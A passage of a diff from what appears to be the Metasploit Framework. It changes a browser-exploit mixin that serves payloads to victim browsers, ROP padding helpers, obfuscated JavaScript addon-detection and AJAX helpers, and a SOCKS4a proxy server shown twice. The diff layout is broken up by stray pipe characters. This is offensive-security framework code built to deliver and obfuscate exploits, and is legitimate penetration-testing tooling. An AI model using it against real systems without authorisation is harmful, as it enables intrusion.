# Overriding method. The module should override this.
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
#
|
||||
def on_request_exploit(cli, request, browser_info)
|
||||
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||
end
|
||||
|
||||
#
|
||||
# Converts an ERB-based exploit template into HTML, and sends to client
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param template [String] The ERB template. If you want to pass the binding object,
|
||||
# then this is handled as an Array, with the first element
|
||||
# being the HTML, and the second element is the binding object.
|
||||
# @param headers [Hash] The custom HTTP headers to include in the response
|
||||
#
|
||||
def send_exploit_html(cli, template, headers={})
|
||||
html = ''
|
||||
if template.class == Array
|
||||
html = ERB.new(template[0]).result(template[1])
|
||||
else
|
||||
html = ERB.new(template).result
|
||||
end
|
||||
send_response(cli, html, headers)
|
||||
end
|
||||
|
||||
#
|
||||
# Generates a target-specific payload, should be called by the module
|
||||
#
|
||||
# @param cli [Socket] Socket for the browser
|
||||
# @param browser_info [Hash] The target profile
|
||||
# @return [String] The payload
|
||||
#
|
||||
def get_payload(cli, browser_info)
|
||||
arch = browser_info[:arch]
|
||||
platform = browser_info[:os_name]
|
||||
|
||||
# Fix names for consisntecy so our API can find the right one
|
||||
# Originally defined in lib/msf/core/constants.rb
|
||||
platform = platform.gsub(/^Mac OS X$/, 'OSX')
|
||||
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
|
||||
|
||||
regenerate_payload(cli, platform, arch).encoded
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -31,5 +31,13 @@ module Exploit::RopDb
|
|||
return rop_payload
|
||||
end
|
||||
|
||||
def rop_junk
|
||||
rand_text_alpha(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def rop_nop
|
||||
make_nops(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -39,13 +39,25 @@ class Detect
|
|||
|
||||
|
||||
#
|
||||
# Provides javascript functions to determine addon information.
|
||||
# Provides javascript functions to determine IE addon information.
|
||||
#
|
||||
# getMsOfficeVersion(): Returns the version for Microsoft Office
|
||||
#
|
||||
def self.addons(custom_js = '')
|
||||
def self.ie_addons(custom_js = '')
|
||||
js = custom_js
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js"))
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
|
||||
|
||||
Rex::Exploitation::JSObfu.new(js)
|
||||
end
|
||||
|
||||
#
|
||||
# Provides javascript functions that work for all browsers to determine addon information
|
||||
#
|
||||
# getJavaVersion(): Returns the Java version
|
||||
#
|
||||
def self.misc_addons(custom_js = '')
|
||||
js = custom_js
|
||||
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
|
||||
|
||||
Rex::Exploitation::JSObfu.new(js)
|
||||
end
|
||||
|
|
|
@ -11,15 +11,71 @@ module Js
|
|||
#
|
||||
class Network
|
||||
|
||||
def self.ajax_download
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||
# defaults to true.
|
||||
# @return [String] javascript code to perform a synchronous ajax request to the remote
|
||||
# and returns the response
|
||||
def self.ajax_download(opts={})
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
|
||||
|
||||
::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ xmlHttp }
|
||||
}
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ xmlHttp oArg }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
xhr_shim(opts) + js
|
||||
end
|
||||
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
|
||||
# defaults to true.
|
||||
# @return [String] javascript code to perform a synchronous ajax request to the remote with
|
||||
# the data specified
|
||||
def self.ajax_post(opts={})
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
|
||||
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ xmlHttp }
|
||||
}
|
||||
}).obfuscate
|
||||
end
|
||||
|
||||
xhr_shim(opts) + js
|
||||
end
|
||||
|
||||
# @param [Hash] opts the options hash
|
||||
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
|
||||
# @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
|
||||
# @return [String] javascript code that adds XMLHttpRequest to the global scope if it
|
||||
# does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
|
||||
def self.xhr_shim(opts={})
|
||||
return '' unless opts.fetch(:inject_xhr_shim, true)
|
||||
|
||||
should_obfuscate = opts.fetch(:obfuscate, true)
|
||||
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
|
||||
|
||||
if should_obfuscate
|
||||
js = ::Rex::Exploitation::ObfuscateJS.new(js,
|
||||
{
|
||||
'Symbols' => {
|
||||
'Variables' => %w{ activeObjs idx }
|
||||
}
|
||||
}
|
||||
).obfuscate
|
||||
end
|
||||
js
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,440 +1,441 @@
|
|||
# -*- coding: binary -*-
|
||||
# sf - Sept 2010
|
||||
#
|
||||
require 'thread'
|
||||
require 'rex/logging'
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Proxy
|
||||
|
||||
#
|
||||
# A Socks4a proxy server.
|
||||
#
|
||||
class Socks4a
|
||||
|
||||
#
|
||||
# A client connected to the Socks4a server.
|
||||
#
|
||||
class Client
|
||||
|
||||
REQUEST_VERSION = 4
|
||||
REPLY_VERSION = 0
|
||||
|
||||
COMMAND_CONNECT = 1
|
||||
COMMAND_BIND = 2
|
||||
|
||||
REQUEST_GRANTED = 90
|
||||
REQUEST_REJECT_FAILED = 91
|
||||
REQUEST_REJECT_CONNECT = 92
|
||||
REQUEST_REJECT_USERID = 93
|
||||
|
||||
HOST = 1
|
||||
PORT = 2
|
||||
|
||||
#
|
||||
# A Socks4a packet.
|
||||
#
|
||||
class Packet
|
||||
|
||||
def initialize
|
||||
@version = REQUEST_VERSION
|
||||
@command = 0
|
||||
@dest_port = 0
|
||||
@dest_ip = '0.0.0.0'
|
||||
@userid = ''
|
||||
end
|
||||
|
||||
#
|
||||
# A helper function to recv in a Socks4a packet byte by byte.
|
||||
#
|
||||
# sf: we could just call raw = sock.get_once but some clients
|
||||
# seem to need reading this byte by byte instead.
|
||||
#
|
||||
def Packet.recv( sock, timeout=30 )
|
||||
raw = ''
|
||||
# read in the 8 byte header
|
||||
while( raw.length < 8 )
|
||||
raw << sock.read( 1 )
|
||||
end
|
||||
# if its a request there will be more data
|
||||
if( raw[0..0].unpack( 'C' ).first == REQUEST_VERSION )
|
||||
# read in the userid
|
||||
while( raw[8..raw.length].index( "\x00" ) == nil )
|
||||
raw << sock.read( 1 )
|
||||
end
|
||||
# if a hostname is going to be present, read it in
|
||||
ip = raw[4..7].unpack( 'N' ).first
|
||||
if( ( ip & 0xFFFFFF00 ) == 0x00000000 and ( ip & 0x000000FF ) != 0x00 )
|
||||
hostname = ''
|
||||
while( hostname.index( "\x00" ) == nil )
|
||||
hostname += sock.read( 1 )
|
||||
end
|
||||
raw << hostname
|
||||
end
|
||||
end
|
||||
# create a packet from this raw data...
|
||||
packet = Packet.new
|
||||
packet.from_r( raw ) ? packet : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Pack a packet into raw bytes for transmitting on the wire.
|
||||
#
|
||||
def to_r
|
||||
raw = [ @version, @command, @dest_port, Rex::Socket.addr_atoi( @dest_ip ) ].pack( 'CCnN' )
|
||||
return raw if( @userid.empty? )
|
||||
return raw + [ @userid ].pack( 'Z*' )
|
||||
end
|
||||
|
||||
#
|
||||
# Unpack a raw packet into its components.
|
||||
#
|
||||
def from_r( raw )
|
||||
return false if( raw.length < 8 )
|
||||
@version = raw[0..0].unpack( 'C' ).first
|
||||
return false if( @version != REQUEST_VERSION and @version != REPLY_VERSION )
|
||||
@command = raw[1..1].unpack( 'C' ).first
|
||||
@dest_port = raw[2..3].unpack( 'n' ).first
|
||||
@dest_ip = Rex::Socket.addr_itoa( raw[4..7].unpack( 'N' ).first )
|
||||
if( raw.length > 8 )
|
||||
@userid = raw[8..raw.length].unpack( 'Z*' ).first
|
||||
# if this is a socks4a request we can resolve the provided hostname
|
||||
if( self.is_hostname? )
|
||||
hostname = raw[(8+@userid.length+1)..raw.length].unpack( 'Z*' ).first
|
||||
@dest_ip = self.resolve( hostname )
|
||||
# fail if we couldnt resolve the hostname
|
||||
return false if( not @dest_ip )
|
||||
end
|
||||
else
|
||||
@userid = ''
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def is_connect?
|
||||
@command == COMMAND_CONNECT ? true : false
|
||||
end
|
||||
|
||||
def is_bind?
|
||||
@command == COMMAND_BIND ? true : false
|
||||
end
|
||||
|
||||
attr_accessor :version, :command, :dest_port, :dest_ip, :userid
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Resolve the given hostname into a dotted IP address.
|
||||
#
|
||||
def resolve( hostname )
|
||||
if( not hostname.empty? )
|
||||
begin
|
||||
return Rex::Socket.addr_itoa( Rex::Socket.gethostbyname( hostname )[3].unpack( 'N' ).first )
|
||||
rescue ::SocketError
|
||||
return nil
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
#
|
||||
# As per the Socks4a spec, check to see if the provided dest_ip is 0.0.0.XX
|
||||
# which indicates after the @userid field contains a hostname to resolve.
|
||||
#
|
||||
def is_hostname?
|
||||
ip = Rex::Socket.addr_atoi( @dest_ip )
|
||||
if( ip & 0xFFFFFF00 == 0x00000000 )
|
||||
return true if( ip & 0x000000FF != 0x00 )
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# A mixin for a socket to perform a relay to another socket.
|
||||
#
|
||||
module Relay
|
||||
|
||||
#
|
||||
# Relay data coming in from relay_sock to this socket.
|
||||
#
|
||||
def relay( relay_client, relay_sock )
|
||||
@relay_client = relay_client
|
||||
@relay_sock = relay_sock
|
||||
# start the relay thread (modified from Rex::IO::StreamAbstraction)
|
||||
@relay_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServerRelay", false) do
|
||||
loop do
|
||||
closed = false
|
||||
buf = nil
|
||||
|
||||
begin
|
||||
s = Rex::ThreadSafe.select( [ @relay_sock ], nil, nil, 0.2 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
begin
|
||||
buf = @relay_sock.sysread( 32768 )
|
||||
closed = true if( buf == nil )
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
while( total_sent < total_length )
|
||||
begin
|
||||
data = buf[total_sent, buf.length]
|
||||
sent = self.write( data )
|
||||
if( sent > 0 )
|
||||
total_sent += sent
|
||||
end
|
||||
rescue
|
||||
closed = true
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if( closed )
|
||||
@relay_client.stop
|
||||
::Thread.exit
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new client connected to the server.
|
||||
#
|
||||
def initialize( server, sock )
|
||||
@server = server
|
||||
@lsock = sock
|
||||
@rsock = nil
|
||||
@client_thread = nil
|
||||
@mutex = ::Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# Start handling the client connection.
|
||||
#
|
||||
def start
|
||||
# create a thread to handle this client request so as to not block the socks4a server
|
||||
@client_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyClient", false) do
|
||||
begin
|
||||
@server.add_client( self )
|
||||
# get the initial client request packet
|
||||
request = Packet.recv( @lsock )
|
||||
raise "Invalid Socks4 request packet received." if not request
|
||||
# handle the request
|
||||
begin
|
||||
# handle socks4a conenct requests
|
||||
if( request.is_connect? )
|
||||
# perform the connection request
|
||||
params = {
|
||||
'PeerHost' => request.dest_ip,
|
||||
'PeerPort' => request.dest_port,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
|
||||
@rsock = Rex::Socket::Tcp.create( params )
|
||||
# and send back success to the client
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_GRANTED
|
||||
@lsock.put( response.to_r )
|
||||
# handle socks4a bind requests
|
||||
elsif( request.is_bind? )
|
||||
# create a server socket for this request
|
||||
params = {
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 0,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
bsock = Rex::Socket::TcpServer.create( params )
|
||||
# send back the bind success to the client
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_GRANTED
|
||||
response.dest_ip = '0.0.0.0'
|
||||
response.dest_port = bsock.getlocalname()[PORT]
|
||||
@lsock.put( response.to_r )
|
||||
# accept a client connection (2 minute timeout as per spec)
|
||||
begin
|
||||
::Timeout.timeout( 120 ) do
|
||||
@rsock = bsock.accept
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
raise "Timeout reached on accept request."
|
||||
end
|
||||
# close the listening socket
|
||||
bsock.close
|
||||
# verify the connection is from the dest_ip origionally specified by the client
|
||||
rpeer = @rsock.getpeername
|
||||
raise "Got connection from an invalid peer." if( rpeer[HOST] != request.dest_ip )
|
||||
# send back the client connect success to the client
|
||||
#
|
||||
# sf: according to the spec we send this response back to the client, however
|
||||
# I have seen some clients who bawk if they get this second response.
|
||||
#
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_GRANTED
|
||||
response.dest_ip = rpeer[HOST]
|
||||
response.dest_port = rpeer[PORT]
|
||||
@lsock.put( response.to_r )
|
||||
else
|
||||
raise "Unknown request command received #{request.command} received."
|
||||
end
|
||||
rescue
|
||||
# send back failure to the client
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_REJECT_FAILED
|
||||
@lsock.put( response.to_r )
|
||||
# raise an exception to close this client connection
|
||||
raise "Failed to handle the clients request."
|
||||
end
|
||||
# setup the two way relay for full duplex io
|
||||
@lsock.extend( Relay )
|
||||
@rsock.extend( Relay )
|
||||
# start the socket relays...
|
||||
@lsock.relay( self, @rsock )
|
||||
@rsock.relay( self, @lsock )
|
||||
rescue
|
||||
wlog( "Client.start - #{$!}" )
|
||||
self.stop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stop handling the client connection.
|
||||
#
|
||||
def stop
|
||||
@mutex.synchronize do
|
||||
if( not @closed )
|
||||
|
||||
begin
|
||||
@lsock.close if @lsock
|
||||
rescue
|
||||
end
|
||||
|
||||
begin
|
||||
@rsock.close if @rsock
|
||||
rescue
|
||||
end
|
||||
|
||||
@client_thread.kill if( @client_thread and @client_thread.alive? )
|
||||
|
||||
@server.remove_client( self )
|
||||
|
||||
@closed = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new Socks4a server.
|
||||
#
|
||||
def initialize( opts={} )
|
||||
@opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 }
|
||||
@opts = @opts.merge( opts )
|
||||
@server = nil
|
||||
@clients = ::Array.new
|
||||
@running = false
|
||||
@server_thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Check if the server is running.
|
||||
#
|
||||
def is_running?
|
||||
return @running
|
||||
end
|
||||
|
||||
#
|
||||
# Start the Socks4a server.
|
||||
#
|
||||
def start
|
||||
begin
|
||||
# create the servers main socket (ignore the context here because we don't want a remote bind)
|
||||
@server = Rex::Socket::TcpServer.create( 'LocalHost' => @opts['ServerHost'], 'LocalPort' => @opts['ServerPort'] )
|
||||
# signal we are now running
|
||||
@running = true
|
||||
# start the servers main thread to pick up new clients
|
||||
@server_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServer", false) do
|
||||
while( @running ) do
|
||||
begin
|
||||
# accept the client connection
|
||||
sock = @server.accept
|
||||
# and fire off a new client instance to handle it
|
||||
Client.new( self, sock ).start
|
||||
rescue
|
||||
wlog( "Socks4a.start - server_thread - #{$!}" )
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
wlog( "Socks4a.start - #{$!}" )
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Block while the server is running.
|
||||
#
|
||||
def join
|
||||
@server_thread.join if @server_thread
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the Socks4a server.
|
||||
#
|
||||
def stop
|
||||
if( @running )
|
||||
# signal we are no longer running
|
||||
@running = false
|
||||
# stop any clients we have (create a new client array as client.stop will delete from @clients)
|
||||
clients = []
|
||||
clients.concat( @clients )
|
||||
clients.each do | client |
|
||||
client.stop
|
||||
end
|
||||
# close the server socket
|
||||
@server.close if @server
|
||||
# if the server thread did not terminate gracefully, kill it.
|
||||
@server_thread.kill if( @server_thread and @server_thread.alive? )
|
||||
end
|
||||
return !@running
|
||||
end
|
||||
|
||||
def add_client( client )
|
||||
@clients << client
|
||||
end
|
||||
|
||||
def remove_client( client )
|
||||
@clients.delete( client )
|
||||
end
|
||||
|
||||
attr_reader :opts
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# sf - Sept 2010
|
||||
#
|
||||
require 'thread'
|
||||
require 'rex/logging'
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Proxy
|
||||
|
||||
#
|
||||
# A Socks4a proxy server.
|
||||
#
|
||||
class Socks4a
|
||||
|
||||
#
|
||||
# A client connected to the Socks4a server.
|
||||
#
|
||||
class Client
|
||||
|
||||
REQUEST_VERSION = 4
|
||||
REPLY_VERSION = 0
|
||||
|
||||
COMMAND_CONNECT = 1
|
||||
COMMAND_BIND = 2
|
||||
|
||||
REQUEST_GRANTED = 90
|
||||
REQUEST_REJECT_FAILED = 91
|
||||
REQUEST_REJECT_CONNECT = 92
|
||||
REQUEST_REJECT_USERID = 93
|
||||
|
||||
HOST = 1
|
||||
PORT = 2
|
||||
|
||||
#
|
||||
# A Socks4a packet.
|
||||
#
|
||||
class Packet
|
||||
|
||||
def initialize
|
||||
@version = REQUEST_VERSION
|
||||
@command = 0
|
||||
@dest_port = 0
|
||||
@dest_ip = '0.0.0.0'
|
||||
@userid = ''
|
||||
end
|
||||
|
||||
#
|
||||
# A helper function to recv in a Socks4a packet byte by byte.
|
||||
#
|
||||
# sf: we could just call raw = sock.get_once but some clients
|
||||
# seem to need reading this byte by byte instead.
|
||||
#
|
||||
def Packet.recv( sock, timeout=30 )
|
||||
raw = ''
|
||||
# read in the 8 byte header
|
||||
while( raw.length < 8 )
|
||||
raw << sock.read( 1 )
|
||||
end
|
||||
# if its a request there will be more data
|
||||
if( raw[0..0].unpack( 'C' ).first == REQUEST_VERSION )
|
||||
# read in the userid
|
||||
while( raw[8..raw.length].index( "\x00" ) == nil )
|
||||
raw << sock.read( 1 )
|
||||
end
|
||||
# if a hostname is going to be present, read it in
|
||||
ip = raw[4..7].unpack( 'N' ).first
|
||||
if( ( ip & 0xFFFFFF00 ) == 0x00000000 and ( ip & 0x000000FF ) != 0x00 )
|
||||
hostname = ''
|
||||
while( hostname.index( "\x00" ) == nil )
|
||||
hostname += sock.read( 1 )
|
||||
end
|
||||
raw << hostname
|
||||
end
|
||||
end
|
||||
# create a packet from this raw data...
|
||||
packet = Packet.new
|
||||
packet.from_r( raw ) ? packet : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Pack a packet into raw bytes for transmitting on the wire.
|
||||
#
|
||||
def to_r
|
||||
raw = [ @version, @command, @dest_port, Rex::Socket.addr_atoi( @dest_ip ) ].pack( 'CCnN' )
|
||||
return raw if( @userid.empty? )
|
||||
return raw + [ @userid ].pack( 'Z*' )
|
||||
end
|
||||
|
||||
#
|
||||
# Unpack a raw packet into its components.
|
||||
#
|
||||
def from_r( raw )
|
||||
return false if( raw.length < 8 )
|
||||
@version = raw[0..0].unpack( 'C' ).first
|
||||
return false if( @version != REQUEST_VERSION and @version != REPLY_VERSION )
|
||||
@command = raw[1..1].unpack( 'C' ).first
|
||||
@dest_port = raw[2..3].unpack( 'n' ).first
|
||||
@dest_ip = Rex::Socket.addr_itoa( raw[4..7].unpack( 'N' ).first )
|
||||
if( raw.length > 8 )
|
||||
@userid = raw[8..raw.length].unpack( 'Z*' ).first
|
||||
# if this is a socks4a request we can resolve the provided hostname
|
||||
if( self.is_hostname? )
|
||||
hostname = raw[(8+@userid.length+1)..raw.length].unpack( 'Z*' ).first
|
||||
@dest_ip = self.resolve( hostname )
|
||||
# fail if we couldnt resolve the hostname
|
||||
return false if( not @dest_ip )
|
||||
end
|
||||
else
|
||||
@userid = ''
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def is_connect?
|
||||
@command == COMMAND_CONNECT ? true : false
|
||||
end
|
||||
|
||||
def is_bind?
|
||||
@command == COMMAND_BIND ? true : false
|
||||
end
|
||||
|
||||
attr_accessor :version, :command, :dest_port, :dest_ip, :userid
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Resolve the given hostname into a dotted IP address.
|
||||
#
|
||||
def resolve( hostname )
|
||||
if( not hostname.empty? )
|
||||
begin
|
||||
return Rex::Socket.addr_itoa( Rex::Socket.gethostbyname( hostname )[3].unpack( 'N' ).first )
|
||||
rescue ::SocketError
|
||||
return nil
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
#
|
||||
# As per the Socks4a spec, check to see if the provided dest_ip is 0.0.0.XX
|
||||
# which indicates after the @userid field contains a hostname to resolve.
|
||||
#
|
||||
def is_hostname?
|
||||
ip = Rex::Socket.addr_atoi( @dest_ip )
|
||||
if( ip & 0xFFFFFF00 == 0x00000000 )
|
||||
return true if( ip & 0x000000FF != 0x00 )
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# A mixin for a socket to perform a relay to another socket.
|
||||
#
|
||||
module Relay
|
||||
|
||||
#
|
||||
# Relay data coming in from relay_sock to this socket.
|
||||
#
|
||||
def relay( relay_client, relay_sock )
|
||||
@relay_client = relay_client
|
||||
@relay_sock = relay_sock
|
||||
# start the relay thread (modified from Rex::IO::StreamAbstraction)
|
||||
@relay_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServerRelay", false) do
|
||||
loop do
|
||||
closed = false
|
||||
buf = nil
|
||||
|
||||
begin
|
||||
s = Rex::ThreadSafe.select( [ @relay_sock ], nil, nil, 0.2 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
begin
|
||||
buf = @relay_sock.sysread( 32768 )
|
||||
closed = true if( buf == nil )
|
||||
rescue
|
||||
closed = true
|
||||
end
|
||||
end
|
||||
|
||||
if( closed == false )
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
while( total_sent < total_length )
|
||||
begin
|
||||
data = buf[total_sent, buf.length]
|
||||
sent = self.write( data )
|
||||
if( sent > 0 )
|
||||
total_sent += sent
|
||||
end
|
||||
rescue
|
||||
closed = true
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if( closed )
|
||||
@relay_client.stop
|
||||
::Thread.exit
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new client connected to the server.
|
||||
#
|
||||
def initialize( server, sock )
|
||||
@server = server
|
||||
@lsock = sock
|
||||
@rsock = nil
|
||||
@client_thread = nil
|
||||
@mutex = ::Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# Start handling the client connection.
|
||||
#
|
||||
def start
|
||||
# create a thread to handle this client request so as to not block the socks4a server
|
||||
@client_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyClient", false) do
|
||||
begin
|
||||
@server.add_client( self )
|
||||
# get the initial client request packet
|
||||
request = Packet.recv( @lsock )
|
||||
raise "Invalid Socks4 request packet received." if not request
|
||||
# handle the request
|
||||
begin
|
||||
# handle socks4a conenct requests
|
||||
if( request.is_connect? )
|
||||
# perform the connection request
|
||||
params = {
|
||||
'PeerHost' => request.dest_ip,
|
||||
'PeerPort' => request.dest_port,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
|
||||
@rsock = Rex::Socket::Tcp.create( params )
|
||||
# and send back success to the client
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_GRANTED
|
||||
@lsock.put( response.to_r )
|
||||
# handle socks4a bind requests
|
||||
elsif( request.is_bind? )
|
||||
# create a server socket for this request
|
||||
params = {
|
||||
'LocalHost' => '0.0.0.0',
|
||||
'LocalPort' => 0,
|
||||
}
|
||||
params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')
|
||||
bsock = Rex::Socket::TcpServer.create( params )
|
||||
# send back the bind success to the client
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_GRANTED
|
||||
response.dest_ip = '0.0.0.0'
|
||||
response.dest_port = bsock.getlocalname()[PORT]
|
||||
@lsock.put( response.to_r )
|
||||
# accept a client connection (2 minute timeout as per spec)
|
||||
begin
|
||||
::Timeout.timeout( 120 ) do
|
||||
@rsock = bsock.accept
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
raise "Timeout reached on accept request."
|
||||
end
|
||||
# close the listening socket
|
||||
bsock.close
|
||||
# verify the connection is from the dest_ip origionally specified by the client
|
||||
rpeer = @rsock.getpeername
|
||||
raise "Got connection from an invalid peer." if( rpeer[HOST] != request.dest_ip )
|
||||
# send back the client connect success to the client
|
||||
#
|
||||
# sf: according to the spec we send this response back to the client, however
|
||||
# I have seen some clients who bawk if they get this second response.
|
||||
#
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_GRANTED
|
||||
response.dest_ip = rpeer[HOST]
|
||||
response.dest_port = rpeer[PORT]
|
||||
@lsock.put( response.to_r )
|
||||
else
|
||||
raise "Unknown request command received #{request.command} received."
|
||||
end
|
||||
rescue
|
||||
# send back failure to the client
|
||||
response = Packet.new
|
||||
response.version = REPLY_VERSION
|
||||
response.command = REQUEST_REJECT_FAILED
|
||||
@lsock.put( response.to_r )
|
||||
# raise an exception to close this client connection
|
||||
raise "Failed to handle the clients request."
|
||||
end
|
||||
# setup the two way relay for full duplex io
|
||||
@lsock.extend( Relay )
|
||||
@rsock.extend( Relay )
|
||||
# start the socket relays...
|
||||
@lsock.relay( self, @rsock )
|
||||
@rsock.relay( self, @lsock )
|
||||
rescue
|
||||
wlog( "Client.start - #{$!}" )
|
||||
self.stop
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stop handling the client connection.
|
||||
#
|
||||
def stop
|
||||
@mutex.synchronize do
|
||||
if( not @closed )
|
||||
|
||||
begin
|
||||
@lsock.close if @lsock
|
||||
rescue
|
||||
end
|
||||
|
||||
begin
|
||||
@rsock.close if @rsock
|
||||
rescue
|
||||
end
|
||||
|
||||
@client_thread.kill if( @client_thread and @client_thread.alive? )
|
||||
|
||||
@server.remove_client( self )
|
||||
|
||||
@closed = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new Socks4a server.
|
||||
#
|
||||
def initialize( opts={} )
|
||||
@opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 }
|
||||
@opts = @opts.merge( opts )
|
||||
@server = nil
|
||||
@clients = ::Array.new
|
||||
@running = false
|
||||
@server_thread = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Check if the server is running.
|
||||
#
|
||||
def is_running?
|
||||
return @running
|
||||
end
|
||||
|
||||
#
|
||||
# Start the Socks4a server.
|
||||
#
|
||||
def start
|
||||
begin
|
||||
# create the servers main socket (ignore the context here because we don't want a remote bind)
|
||||
@server = Rex::Socket::TcpServer.create( 'LocalHost' => @opts['ServerHost'], 'LocalPort' => @opts['ServerPort'] )
|
||||
# signal we are now running
|
||||
@running = true
|
||||
# start the servers main thread to pick up new clients
|
||||
@server_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServer", false) do
|
||||
while( @running ) do
|
||||
begin
|
||||
# accept the client connection
|
||||
sock = @server.accept
|
||||
# and fire off a new client instance to handle it
|
||||
Client.new( self, sock ).start
|
||||
rescue
|
||||
wlog( "Socks4a.start - server_thread - #{$!}" )
|
||||
